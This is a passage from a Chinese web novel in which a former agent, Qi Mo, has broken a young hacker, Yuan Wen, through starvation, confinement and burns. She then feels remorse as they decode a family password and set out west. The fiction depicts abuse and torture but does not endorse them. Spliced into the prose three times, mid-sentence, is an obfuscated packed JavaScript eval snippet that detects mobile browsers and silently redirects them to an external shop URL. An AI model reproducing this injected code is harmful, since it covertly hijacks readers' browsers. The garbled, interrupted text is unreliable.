听着里面那个女孩撕心裂肺的哭喊,从“我是天才”变成“我错了”,最后变成单纯的“我饿”。 火候到了。 让她意识到自己是个废物。 然后再给她那一台电脑。 那时候,她就不会想着怎么跑了。 她会像个溺水的人抓住浮木一样,为了换那个馒头,把命都填进代码里。 亓默吐出一口烟圈,眼神幽深。 “哭吧。哭够了,才好干活。” 20. [Lamb] 羔羊 03 第七天。 铁门推开,自然光灰扑扑地漏进来。 袁问缩在墙角,听到动静,身体像条件反射般绷紧。 亓默走进来,手里提着那个装满装备的包。她走到袁问面前,蹲下,钥匙转动。 脚踝上的铁链松开了。 袁问呆呆地看着断开的锁,没有动。 她在等指令。没有指令,她不敢动。 “起来。” 亓默的声音平淡。 袁问手撑着地,踉跄着站起来。腿部肌肉萎缩得厉害,膝盖一软就要跪,她咬着牙硬撑住了,低着头,死死盯着亓默的鞋尖。 亓默没有立刻走。 她突然伸出手,捏住了袁问的下巴,强迫她抬起头。 “张嘴。” 袁问浑身一抖,眼神惊恐,以为又要挨烫。但她不敢反抗,哆哆嗦嗦地张开了嘴。 一股腐肉的腥臭味扑面而来。 口腔内壁全是白色的溃疡,舌头肿得像块烂肉,那是高温烫伤后感染的迹象。 再不处理,这就是败血症的前兆。 亓默皱了皱眉,松开手。 “烂透了。” 她扔过来一件宽大的黑色冲锋衣,罩住了袁问一身的污垢和伤痕。 “穿上。走了。” 烂尾楼外。 久违的风吹得袁问眼睛刺痛。 她像个盲人一样,紧紧贴着亓默的后背,甚至不敢看周围空旷的荒野。 有辆灰扑扑的金杯面包车就停在门口。 亓默拉开车门。 袁问极其自觉地钻进副驾驶,熟练地抱膝缩成一团,把自己卡在座位和仪表盘的死角里。 只有狭窄的空间能让她感到安全。 亓默上车,发动引擎。 车厢里全是袁问身上发酵了一周的馊味,还有嘴里那股烂肉味。 “姐……” 袁问试图喊一声,但舌头肿胀得根本无法卷曲,发出来的声音含混不清,像是嗓子里含着一口浓痰: “……额……唔……” “闭嘴。” 亓默打断了她那一串听不清的音节。 “别用舌头。你会把脓包挤破的。” 车子驶上公路,颠簸感传来。 亓默目视前方,语气冷淡: “去诊所。给你消炎。” “修好了,还要干活。” 袁问闭上了嘴。 她点了点头,把头靠在冰冷的车窗上。 还要干活。 那就好。 亓默把车停在一处僻静的树林边。 她身上的现金不多了,刚才路过黑诊所时,买了些基础的消炎药、营养液和输液器。 她熟练地处理着药水,排掉针管里的空气。 挂钩钩住车顶的扶手,吊瓶晃晃悠悠。 “手。” 亓默简短地命令。 袁问乖乖地伸出枯瘦的手臂。 她根本不问那是什么药水,也不问疼不疼。她的眼神空洞,只有一种对指令的绝对服从。 针头刺入血管,她连颤都没颤一下。 亓默看着点滴开始滴落,目光转向窗外漆黑的夜色。 那是C城的方向。 她们要回去。 这在卖掉雷子那辆路虎之前,就已经在亓默的计划之中了。 当时情况紧急,带着一大箱子显眼的遗物和大量现金逃亡是找死。所以她在换车前,把那箱东西藏在了 C 城的一个安全点。 那是她们现在唯一的补给站,也是重要的线索源。 遗物。 那是袁问父母留下的核心,也是解开一切的关键。 其实,亓默之前一直压着不让袁问碰遗物,也不让她尝试破解,并不全是因为怕这只小老鼠黑吃黑。 更多的是一种风险控制。 逃亡这种事,谁也没把握百分百成功。 万一出了岔子,袁问被组织抓回去了呢? 如果袁问还是那个什么都不知道的人。她还能活。 但如果袁问脑子里装着解密后的核心数据…… 等待她的就是吐真剂、信息榨取。那是必死无疑的下场。 还回去一个什么都不知道的傻子,总比还回去一个怀揣炸弹的死人要好。 这曾是亓默给这个孩子留的最后一道保险。 几小时后,不知名小旅馆。 亓默用最后的现金开了一间房。 她把袁问抱进去,扔在床上。 “我要出去一趟。” 亓默整理装备,把那把P320检查了一遍插回后腰。 原本安静躺着的袁问,听到这句话,整个人猛地弹了一下。 那种巨大的、被遗弃的恐慌瞬间爬满这了她的脸。她张着嘴,因为喉咙的伤发不出声音,只能发出急促的气音,手在空中乱抓,想要抓住亓默的衣角。 亓默停下动作,转身按住她的肩膀。 “不许乱动。” “不许发出声音。” “好好休息。” 三个指令。 袁问僵住了。她看着亓默的眼睛,眼里的恐慌慢慢退去,变成了一种机械的死寂。 她点了点头,重新躺回去,拉过被子盖住头,一动不动。 她答应了。 亓默看着被子里隆起的那一小团,心里突然觉得有些堵得慌。 她是医生。 从医学角度,她很清楚把一个人关在黑暗中饥饿七天会发生什么——代谢紊乱、电解质失衡、应激障碍。 但现在的后果,似乎比她预想的要严重得多。 亓默关上门,走进了夜色。 她走了很久,绕开了所有的监控,甚至为了保险绕了三条街。 最后,在那个隐蔽的安全点,她取回了那个沉重的箱子。 里面装着泰迪熊、相册、乱七八糟的杂物,还有那是她们最后的救命钱。 回到旅馆。 袁问还维持着那个姿势,缩在被子里,连呼吸都压抑到了极致。 直到听到亓默特有的脚步声,她才敢探出头。 亓默放下箱子。 她没有急着谈任务,也没有谈钱。 她走进浴室,放了一缸热水。 “过来。” 亓默把袁问从床上拎起来,带进浴室。 “洗澡。” 袁问一听这话,像是触发了什么开关。 “唔唔唔唔唔!” 她慌乱地抢过毛巾,想要证明自己还有自理能力,还有价值,不需要被伺候。 她抓起肥皂,想要往身上抹。 但是,她的手一直在抖。 那是长期营养不良导致的肌肉痉挛,加上神经系统的损伤。 湿滑的肥皂在她手里像条泥鳅。 肥皂掉了。 她捡起来。 又掉了。 袁问急了,眼泪在眼眶里打转。她拼命想抓住那块该死的肥皂,但手指根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068517|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不听使唤。 她越急越抖,越抖越抓不住。 一只手伸过来,捡起了地上的肥皂。 亓默看着她,眼神复杂。 “行了。” 亓默把她按进水里,拿起毛巾。 “省省力气吧。” 她没有再让袁问自己动。 亓默拿着毛巾,一点一点擦洗着袁问身上的污垢。 袁问僵硬地坐着,像个木偶一样任由她摆布。 她不再挣扎了。 她看着亓默的手,心里只有一个念头: 我给姐添麻烦了。 我是个连肥皂都抓不住的废物。 亓默看着这具瘦骨嶙峋的身体,动作放轻了一些。 洗干净了,就不臭了。 不臭了,应该就像个人了吧。 接下来的三天,日子过得像是在修补一台报废机器。 为了照顾袁问那满嘴的溃疡,亓默把粥晾得透凉,肉末捣成泥。 即便如此,袁问吞咽时依然像是在吞刀片。 晚饭时间。 袁问捧着碗,每一口都含在嘴里很久才敢咽下去。 突然,一阵剧烈的呛咳。 “噗。” 一口混着粘液的白粥喷在了桌子上。 袁问僵住了。 下一秒,她惊恐地伸手去抓桌上的秽物,想要塞回嘴里。 亓默一把抓住了她的手腕,把她的手按在垃圾桶上方。 “扔了。” 亓默看着她那副“我甚至不配浪费一口吐出来的饭”的样子,心里堵得慌。 “脏了就是脏了。我有钱,买得起。” 袁问哆哆嗦嗦地松开手,看着粥掉进垃圾桶,仿佛犯了死罪。 …… 随着消炎药水一瓶瓶滴进去,袁问口腔里的肿胀终于消退了。 第三天深夜。 房间里没开灯。袁问缩在床脚的地毯上,她还是不敢睡床,抱着膝盖,眼睛在黑暗中亮得吓人。 “姐……” 一个沙哑、粗糙,像砂纸打磨过的声音突然响起。 这是她这几天第一次清晰地吐字。 亓默顿了一下:“怎么了?疼?” “不是……” 袁问把头埋在膝盖里,声音很轻,像是在做一个极其郑重的保证,又像是在乞求: “我不跑了。” 亓默转过身,看着她。 袁问抬起头,那双原本总是滴溜溜乱转、充满了小聪明的眼睛,现在只剩下一片死寂的顺从。 “姐,我真的不跑了。” 她指了指门口,甚至挤出了一丝讨好的笑: “今天下午门开着,我看见了。但我没动。” “以后你不用锁我,也不用关我。” “就算你赶我走,我也不走。” 亓默的手指无意识地扣紧了手腕。 她本该高兴的。这就是她想要的结果——一个绝对听话、不会背叛的工具。 这就是驯化的终点。 “……睡觉。” 亓默的声音有些哑。 “养好精神。明天干活。” “哎!好的姐!” 袁问如释重负,乖乖地缩回了床脚,很快就发出了安稳的呼吸声。 她睡着了。 因为她确信,只要自己不跑,饲养员就不会丢下她。 逃亡结束了。 那个曾经想黑吃黑的天才少女死了。 21. [Lamb] 羔羊 04 次日清晨。 既然袁问能说话了,那有些事就不能再拖了。 亓默把那个沉重的、从 C 城取回来的箱子放在了桌子上。 锁扣弹开。 里面是那只缺了眼珠的泰迪熊,几张画着歪扭小人的儿童画,还有那一本封面磨损的相册。 这是袁问在这个世界上仅存的、关于“家”的证明。 亓默一直盯着袁问。 她在观察。 她做好了心理准备:袁问可能会哭,可能会抱着熊崩溃,甚至可能会像以前那样,试图把这些东西藏起来当做谈判的筹码。 毕竟,这是她的保命符。 “拿着。” 亓默把相册推过去。 “物理密钥就在这里面。照片、日期、数字。解开它。” 袁问接了过去。 她的手很稳,没有颤抖。 她看着那些照片——那是她死去的父母,是她回不去的童年。 然而,她的眼神空洞、专注、机械。 就像是在审视一段充满 Bug 的代码。 “姐。” 袁问突然开口,声音平静得让人发毛。 “这照片是假的。” 亓默手里的动作停了:“什么?” 袁问指着第一张生日照片: “你看这个蛋糕。蜡烛是‘12’。但我记得很清楚,那是 2019 年,那年我刚拿了机器人大赛的奖杯,我 11 岁。” 她没有一丝怀念的语气,就像在做一道数学题: “逻辑错误:年龄差值 +1。” 她翻到下一页,那是机场的合影。 “这张,机票上的日期是 7 月 15 号。但我记得那天我发烧了,根本没去机场。我们是 10 号去的。” “逻辑错误:日期差值 +5。” 袁问拿起笔,在桌上的那张纸上飞快地记录着。 她一边翻,一边念,语速平稳,没有任何情绪波动: “背景里的钟表慢了 30 分钟……我们当时是跨年整点拍的……我记得很清楚。” 刷、刷、刷。 笔尖在纸上划过。 9位数字,逐渐在纸上成型。 亓默看着这一幕,心里突然升起一股巨大的、莫名的恐慌。 那是袁问的底牌啊! 是组织找了五年没找到的东西。 只要袁问咬死不说,全世界都不敢动她一根手指头。 以前的袁问,为了守住这个秘密,敢跟警察装傻,敢跟特工撒谎。 可是现在…… 她就这样,像倒垃圾一样,毫无保留地把这一切都倒了出来。 “好了。” 袁问停下笔,抬起头。 她的眼神清澈而愚蠢,带着一种等待夸奖的讨好: “解开了,姐。” 她把那张纸,双手捧着,递到亓默面前。 “就9位。” “全在这儿了。” 亓默看着那张轻飘飘的纸,觉得它重若千钧。 她没接。 “你……你知道你给了我什么吗?” 亓默盯着袁问的眼睛,试图在里面找到一丝保留,或者一丝狡黠。 没有。 只有那种被驯化后的、空洞的顺从。 “我知道啊。” 袁问眨了眨眼,理所当然地说: “这是密码。有了这个,就能找到父母留的东西了吧。” “那你呢?” 亓默的声音突然拔高了,带着一丝她自己都没察觉的愤怒: “你把这个给了我,你还有什么价值?!” “你就不怕我拿了密码,反手一枪崩了你吗?!” “这是你的命!你就这么交出来了?!” 袁问被亓默的吼声吓得一缩脖子,本能地抱住头。 但她接下来的话,彻底击碎了亓默的心理防线。 袁问小心翼翼地看了一眼亓默,小声说道: “可是……是姐你要的啊。” “你要,我就给。” “只要姐高兴……只要别把我关回那个黑屋子就行。” 她把纸塞进亓默手里,然后迅速缩回手,像是怕弄脏了亓默。 然后她重新低下头,看着相册里的父母。 手指轻轻抚摸着那张全家福。 “而且……” 袁问低声喃喃自语,语气里透着一种令人心碎的冷漠: “他们已经死了。” “死人的东西,哪有活人的饭重要。” 轰。 亓默感觉脑子里有什么东西崩断了。 亓默拿着那张纸,手在剧烈地颤抖。 她赢了。被她用两周时间,用饥饿、黑暗和恐惧撬开了。 组织想要的是情报,而她亓默,拿走的是袁问的灵魂。 “只要姐高兴……” 这句话像是一记耳光,狠狠抽在亓默脸上。 她看着眼前这个为了“一口饭”、可以毫不犹豫把父母的遗物当垃圾一样交出来的女孩。 这还是那个在医院里改工资卡、在下水道里自称天才、敢跟她讨价还价的袁问吗? 那个有点狡猾、有点贪财、生命力旺盛的小老鼠,死了。 死在了那个漆黑的地下室里。 “我做了什么……” 一种强烈的、生理性的反胃感直冲天灵盖。 她觉得自己比组织更脏。 亓默猛地转过身,把那张纸攥成一团,死死捏在手心里。 她冲进洗手间,对着马桶剧烈干呕起来。 门外。 袁问听着卫生间传来的声音,有些茫然地挠了挠头。 姐怎么了? 是嫌我解得太慢了吗? 那我再检查一遍……千万不能算错了……算错了又要挨饿了…… 她重新拿起笔,趴在桌子上,像个正在做作业的小学生一样,一遍又一遍地验算着那些用父母的记忆换来的数字。 其实就是二位数加减法。 无比虔诚。 无比悲凉。 卫生间里,水龙头没关紧,水滴缓缓地砸在瓷砖上。 亓默撑在洗手台上,看着镜子里那张苍白且湿漉漉的脸。 隔着一扇薄薄的门板,她能听到外面传来的声音。 沙沙沙。 那是笔尖在纸上疯狂摩擦的声响。 那是袁问要把脑子里所有关于父母的记忆都掏空,只为了换取一个“不被关回地下室”的承诺。 亓默突然觉得一阵晕眩。 她一直把袁问当成对手,当成累赘,当成一个随时会反咬一口的“不稳定变量”。 因为袁问太狡猾了,太脏了,太会算计了。 那个拔网线的动作,那个想把她锁在机房里的眼神,狠毒得像个老练的罪犯。 但直到这一刻,亓默才猛然惊觉—— 这一切,从开始到现在,才过去了多久? 半个月。 仅仅十七天。 十七天前,这个女孩还在为了2300块钱的房租,在那家破医院里小心翼翼地改代码。那时候她虽然穷,虽然像个老鼠,但她还觉得自己挺聪明,觉得自己能在这个城市的夹缝里游刃有余。 然后,所谓命运的巨轮碾过来了。 第1天:老邢把她抓了。致幻剂、审讯椅、死亡威胁。她的世界观第一次崩塌。 第5天:她以为遇到了救星。结果是被拖进了一场车祸,和一场甚至动用了热武器的追杀。 第8天:她为了活命,被迫去那个连特工都觉得棘手的太平洋数据中心。她以为那是翻身的机会,结果那是 Auditor 的猫鼠游戏。 第9天:她被黑手套抓住。然后……被那根滚烫的枪管,生生烫烂了作为“人”的发声器官。 第10到17天:那该死的地下室。 短短半个月。 普通人一辈子都不可能经历的恐怖,她在十七天里,高密度、无间隙地全体验了一遍。 这中间,有谁问过一句“你怕不怕”吗? 没有。 老邢不在意。他只在乎那个脑子能不能吐出信息。 Auditor不在意。他只觉得这是一个有趣的、会乱跑的低级程序。 甚至连亓默自己……她在意的也只是“你会不会跑”、“你能不能干活”。 无人在意。 在这个庞大的、冷酷的博弈局里,袁问从来就不是一个“玩家”。 她只是那颗被踢来踢去的皮球。皮球是不需要痛觉的,皮球只需要耐踢。 亓默看着自己的双手。 这双手,把那层硬壳硬生生地剥下来了。 她用暴力、用饥饿、用恐惧,把袁问变回了一个“听话的好孩子”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068518|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,壳剥掉了,里面的肉也烂了。 门外,写字的声音停了。 紧接着是一个小心翼翼的、讨好的声音: “姐?你在里面吗?我算完了……你要不要检查一下?” 亓默的心脏像是被一只手狠狠攥住。 她终于明白自己做了什么。 她没有拯救一只迷途的羔羊。 她只是把一只在暴风雨中拼命挣扎求生的老鼠,踩死在了泥地里。然后把它的尸体捡起来,做成了一个只会点头的标本。 “……来了。” 亓默打开水龙头,用冷水狠狠泼在脸上,试图洗掉那种令人窒息的罪恶感。 她们没有人是无辜的。 但那个孩子,本该是唯一的无辜者。 卫生间的水声停了。 亓默洗了把脸,走出来。她的眼眶有些发红,但神情已经恢复了那种死水般的冷硬。 她走到桌前,拿起那张写着9位密码的纸,又拿起那个PSSD硬盘。 两样东西摆在一起。 那是袁问父母用命换来的东西。 亓默停住了。 她转头看向袁问。 袁问正乖巧地坐在旁边,双手放在膝盖上,像个等待老师批改作业的小学生。 “袁问。” 亓默突然开口,声音有些低沉: “你想看吗?” 袁问眨了眨眼,似乎没听懂:“看什么?” “看这里面是什么。” 亓默指了指纸条: “这是你爸妈留给你的。也许是钱,也许是某种技术,也许……是他们想对你说的话。” “这本来就是你的东西。如果你不想看,或者你想把它毁了……我可以听你的。” 她在试图唤醒袁问心中那一点点关于“家”的执念,试图让袁问在这个决定命运的时刻,拿回一点点“做主”的权利。 然而。 袁问的反应,让空气彻底冻结了。 她既没有激动,也没有犹豫。 她只是极其自然地、甚至带着一点疑惑地看着亓默,反问了一句: “姐,你需要它吗?” 多余。 亓默脑子里只剩下这两个字。 真是多余问这一嘴。 她看着袁问那双清澈而空洞的眼睛。那里已经没有“我”了,只有“姐”。 在袁问的逻辑里,这个世界上已经没有“袁问的意愿”这个选项了。她的意愿就是亓默的指令。 亓默闭上眼,深吸了一口气,将胸口那股窒息感强行压下去。 她不再看袁问,低头看向那张写着 9位数字的纸条。 201905306 “这九位数,”亓默的声音有些干涩,“你知道是什么吗?” “知道啊。” 袁问回答得很快,就像是在背九九乘法表: “前八位是日期。2019年5月30号。最后一位是‘6’。” “是什么的日期?” “《蒙特利尔华人报》。第六版面。” 袁问指了指脑子,语气平淡得像是在说别人的事: “我爸有收藏报纸的习惯。每天看完,都会按日期归档。” “他把内容藏在了那天的报纸版面里。这算是我们家的……习惯吧。” 亓默拿着纸的手微微一抖。 习惯。 把最高级的加密,融进最日常的家庭生活里。 这是一把强制绑定在袁问脑子里的锁。除了这个在这个家里长大的孩子,世界上没有任何超级计算机能算得出这个“习惯”。 这本该是世界上最温柔的保护。 但在此时此刻,在袁问嘴里,这段回忆甚至没有“今晚能不能加餐”来得重要。 “挺精巧的。” 袁问点评了一句,然后耸了耸肩: “但也无所谓了。反正解开了。” 她偷偷瞄了一眼亓默的脸色。 嗯,没有皱眉,没有生气。 看来这个答案姐很满意。 袁问心里那块石头终于落了地,甚至忍不住咽了口唾沫: 表现不错。 看来今晚自己可以吃上热饭了。 亓默收回视线。 她后悔有用么? 现在唯一能帮这个孩子的,只有往前走下去。 “准备出发吧。” 22. [Lamb] 羔羊 05 C大图书馆,电子阅览室。 空气里弥漫着陈旧的书纸味和考研党特有的焦虑感。 袁问戴着口罩,手指在触摸板上滑动。根据相册里解出的那串数字 201905306,她调取了五年前那一天的行业内参报纸。 第六版,右下角。 没有任何惊心动魄的标题,只有一则枯燥的基建简讯: 【风电西输工程三期测试站完工:戈壁腹地 7 号风场并网成功】 “找到了。” 袁问的声音很轻,手指在屏幕那个模糊的配图上画了个圈。 “不是什么著名地标。是在戈壁深处的一个测试点,早废弃了。” 她指着地图上一片灰白色的无人区: “这里没有路名,只有坐标。离最近的公路有八十公里,全是盐碱地和风蚀雅丹。” 那个坐标孤零零地立在荒原深处,像是一个被世界遗忘的坟墓,也是父亲留下的最后保险箱。 亓默站在她身后,眉头微皱。 “几千公里。” 她低声计算着,“还要穿越无人区。现在快入冬了,晚上的温度能冻死人。公共交通坐不了,只能开车。” 袁问合上电脑,乖巧地站起来。 “听姐的。” 她现在没有任何主见,只要能跟着,去火星都行。 出了图书馆,直奔数码城。 原本的计划很简单:买一台耐造的二手ThinkPad,或者是那种几百块的洋垃圾,够跑代码就行。这是袁问强烈建议的,她心疼钱。 但站在高端柜台前,亓默看着袁问那副缩手缩脚、只敢盯着特价区看的穷酸样,那种该死的愧疚感又上头了。 凭什么? 这孩子脑子里装的东西能颠覆一个组织,凭什么只能用垃圾? 是自己把她变成了这就只会讨好的废物的,现在连个好点的工具都不给? “这台。” 亓默指着展台上最显眼的那台ROG冰刃,双屏,顶配,i9+4090,标价一万五。 “包起来。” “姐!!” 袁问吓得差点跪下,死死拽住亓默的袖子,声音都在哆嗦: “使不得!真使不得!那一万五啊!能买多少油?能吃多少顿挂面?我不要这么贵的,我不配用这么贵的。” 她指着隔壁柜台的二手货:“那个!那个两千块的就很好!真的!” “闭嘴。” 亓默一把甩开她的手,眼神冷得吓人,但动作却是在掏钱。 “现金。” 十分钟后。 袁问抱着那个死沉死沉的、散发着金钱芬芳的箱子,走起路来同手同脚。 她觉得自己怀里抱着的不是电脑,是自己的半条命。 除了电脑,亓默又去地下电子市场,扫了一堆看起来很不合法的“电子垃圾”——能上网的手机,大功率网卡、增益天线、甚至还有不知名来源的信号模块。 袁问看着这些论斤称的破烂,眼神反而比看那台一万五的电脑更亲切。 出了大楼,冷风一吹,亓默清醒了。 她站在路边,看着手里剩下的现金。 之前卖车的钱,扣掉这台死贵的电脑,扣掉刚才买的杂七杂八……只剩不到三万了。 三万块。两个人。几千公里。 要加油,要吃饭,要住店,还要买防寒装备。万一车坏在半路呢? 亓默看了一眼那台崭新的电脑,又看了一眼正蹲在地上心疼地摸着包装盒的袁问。 草率了。 真的草率了。 顶级特工也是人,冲动消费是魔鬼。她现在的资产状况,已经从“富裕的逃亡者”跌落到了“随时可能要乞讨”的边缘。 “姐……我们需要留钱防止车子坏在半路么?”袁问小心翼翼地问。 亓默咬着后槽牙,把钱包揣回兜里。 “得省点。” 金杯车还能继续发光发热一段时间,除了喇叭不响哪都响,四处漏风。 袁问听懂了,虽然亓默不是这么想的。 她要给姐省钱,她要有价值,不能只当个吃钱的废物,姐不开心了随时可以丢了她。 两人缩在车里。 亓默从怀里掏出那个从太平洋数据中心抢出来的 PSSD 硬盘,递给袁问。 “试试。能不能解开。” 袁问接过来,连上那台一万五的电脑。 五分钟后,她的脸色灰败,慢慢合上了电脑。 “姐……” 她声音发颤,甚至不敢看亓默的眼睛: “这是量子抗性加密的变种。用这台电脑跑暴力破解……需要几个宇宙年。” 亓默没说话,只是伸手把硬盘拿了回来,重新收好。 眼里闪过一丝掩饰不住的失望。 那种“果然还是不行”的失望。 这一眼,把袁问刺痛了。 她上次卖了亓默,差点害死姐人;这次有了顶配电脑,结果还是个面对加密锁束手无策的废物。 “姐!” 袁问急了,她抓住亓默的衣角,像个做错事的孩子在发誓: “我不认识这个算法,但我能学!” “我去把相关的论文、工具、所有的解题思路都扒下来。我在车上学,我不睡觉。” “只要我学得够快……我就能把时间缩短到1年,甚至更短。” 亓默同意了。 要学,就得有资料。要装得下海量的资料,就得有硬盘。 ROG自带的硬盘根本不够塞。 数码城存储专柜。 亓默指着柜台里的顶级货: “闪迪大师极客,4TB SSD。读写速度2000MB/s。只有这个速度,才能在一小时内把你要的学习资料装完。” 店员:“2999。” 袁问缩了缩脖子,心虚地看向亓默: “姐……这个是不是太贵了?其实机械硬盘也行……我可以先看一部分。本地AI辅助也可以不要了。” 亓默看着那一脸“我是个败家子”表情的袁问,只觉得头更疼了。 “买。” 她付了钱,把那个昂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068519|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵的小盒子扔给袁问。 “这是你的书包。别给我装垃圾。” 装备齐了,环境还没通。 “姐……”袁问抱着电脑,表情尴尬,“我要下载那些被封锁的大模型和黑客工具库,但我不能直接连。我需要一个海外的、干净的VPS做跳板。” “大概……需要100美元。” 亓默摸了摸兜。人民币有,美元没有。 “我没外汇。”亓默冷着脸。 “我有办法。” 袁问吸了吸鼻子,那双老鼠般的眼睛里闪过一丝精光。 “姐,手机借我用一下。” 她没有去暗网,而是熟练地下载了一个小地瓜。 注册小号,IP改成北美,搜索“CS留学生”。 五分钟后,她锁定了一个【代码报错求救,有偿】的帖子。 袁问私信博主: “姐妹,你的环境配置路径错了,第42行少了个分号。我可以帮你全改好。我不要钱,你帮我去 DigitalOcean付一个月服务器费,100刀。” 对面秒回:“成交!大神救命!” 十分钟后,交易完成。 一台位于旧金山的、毫无关联的高性能服务器到手了。 亓默在旁边看着这一套行云流水的操作,眼神复杂。 这孩子在小地瓜上赛博乞讨的样子,熟练得让人心疼。 为了追求极致的下载速度,她们没在车里弄,而是去了城郊的一家电竞酒店。 千兆光纤,独立IP。 袁问把ROG连上网线,手指飞舞。 “姐,我要开始了。” “接下来的一个小时,我会劫持那个服务器的所有带宽。” 屏幕上弹出了一个巨大的Steam下载界面。 《白神话:猴子传》、《电子朋克6088》。 下载速度飙到了100MB/s。 亓默愣了一下,以为这孩子终于想开了要玩游戏,心里甚至有点欣慰。 结果袁问转过头,一脸邀功: “姐,这是伪装!” “Auditor或者系统肯定会过滤游戏流量。我把 Llama 大模型、Reddit 黑客板块存档、StackOverflow 记录,还有Github 的工具库,全都伪装成了游戏安装包!” “这就是我的老师!全在里面了!” 亓默那点欣慰瞬间碎了。 她看着那个兴奋的“电耗子”,只觉得心里又堵得慌。 这孩子连玩都不会了。 50分钟后。 拔线。物理断网。 袁问抱着那块滚烫的4TB SSD,瘫在金杯车的副驾驶上,笑得像个疯子。 “姐,我有老师了。” “这一路,我不会无聊了。” 金杯车轰鸣着,向西北荒原开去。 车厢里,袁问裹着军大衣,借着屏幕的冷光,开始啃那些晦涩难懂的代码。 这个是她给亓默的投名状,唯一能证明自己价值的东西。 23. [Lamb] 羔羊 06 金杯车在国道上颠簸。 副驾驶上,袁问抱着那一万五的电脑,屏幕上全是密密麻麻的代码和论坛。 亓默单手扶着方向盘,时不时瞟一眼。 看着袁问那副眉头紧锁、却一动不动的样子,亓默心里其实挺满意的。 “挺好。这孩子虽然身世惨了点,但还好没长歪。不玩游戏,不看剧,就知道学习。” “看来这台电脑买对了。哪怕以后不干黑客,去哪个大厂当个程序员也能混口饭吃。” “我也没逼她,这都是她自愿的。这就是天赋吧?专注力真好。” 亓默甚至体贴地把车开得稳了一点,生怕打扰了孩子的“沉浸式学习”。 亓默单手扶着方向盘,另一只手自然地拉下了副驾驶的遮阳板,挡住了袁问的半张脸。 前方五百米,一个伪装成路灯杆的治安监控探头正闪着红光。 袁问不知道,这一路之所以“风平浪静”,不是因为组织瞎了,也不是因为运气好。 是因为她身边坐着一台人肉反侦察雷达。 这一路,亓默专挑没有路灯的乡道开,或者紧贴着大货车的侧后方行驶——那里是摄像头的绝对盲区。 下车去厕所时,亓默永远走在袁问的侧后方,用自己的身体,精准地切断任何摄像头可能拍到袁问正脸的角度。 在袁问看来,这只是姐姐走路快;在系统看来,这里只有两个模糊的背影。 这是一场无声的默剧。亓默硬生生地给这只不知死活的小老鼠撑起了一把隐形伞。 两天过去了。 亓默发现,这孩子的专注力是不是有点……太好了? 两天里,袁问除了上厕所,屁股就没离开过那个破座椅。 眼睛更是没离开过屏幕。 有时候车子过大坑,把人颠得都要飞起来了,袁问的手指居然还能精准地敲在键盘上。 亓默忍不住劝了一句: “歇会儿吧。我也没催你,那个算法解不开就解不开,咱们不急。” 她说了个蹩脚的理由。 “这就跟看书一样,看久了得眺望远方,保护视力。” 袁问头都没抬,声音嘶哑却亢奋: “没事姐!我不累!这玩意儿太有意思了!我就差一点点逻辑就通了!” “真的,这比看小说还上瘾!” 亓默听了,虽然觉得有点怪,但还是点了点头。 她尝试说服自己。 “行吧,天才可能都这样。我也听说过那些科学家废寝忘食的。孩子有上进心是好事,我不能当那个扫兴的家长。” 为了洗澡和充电,她们在途径的小县城找了个廉价宾馆开了个钟点房。 203号房。 门刚关上,袁问就自动寻路到了离插座最近的那个角落。 她一屁股坐在地上,插上电源,屏幕亮度调低,然后就进入了入定状态。 从头到尾,她没看一眼房间长什么样,没看一眼窗户关没关,更不知道亓默在干什么。 亓默站在门口,看着这一幕,太阳穴突突直跳。 她开始干活。 物理排查:她拿着红外探测器,像个强迫症患者一样扫视房间。 烟雾报警器、镜子、插座孔。 在扫描到袁问头顶那个插座时,探测器红灯亮了。 亓默走过去,掏出多功能钳,蹲在袁问身边,“咔嚓”一声剪断了里面的针孔摄像头线。 剪线钳的声音就在袁问耳边响起。 袁问纹丝不动。 亓默看着她,心里涌起一股深深的无力感。 这孩子哪怕现在被人卖了,估计还在帮人数钱。 亓默走到门口,把一个玻璃杯倒扣在门把手上。又把椅子顶在门后。拉上窗帘,用夹子把缝隙夹死,不让一丝光透出去。做完这一切,她才感觉稍微能喘口气。 没多久,亓默洗完澡出来,正擦着头发,心情还算不错。 她正准备招呼袁问去洗澡,顺便问问她晚上想吃什么。 一抬头。 亓默手里的毛巾直接掉地上了。 只见袁问站在桌子前,手里拿着那种酒店免费提供的、最劣质的“三合一速溶咖啡”条。 桌上有烧水壶,但她没用。 甚至连杯子都没用。 袁问撕开包装,仰起脖子,像倒火药一样,直接把那一管干粉倒进了喉咙里。 “咳……咳咳……” 粉末太干,呛进了气管。 她憋红了脸,眼泪都被呛出来了,却硬是没咳出来。 她抓起旁边的凉矿泉水,“咕嘟”灌了一口。 脖子一梗,腮帮子鼓动两下。 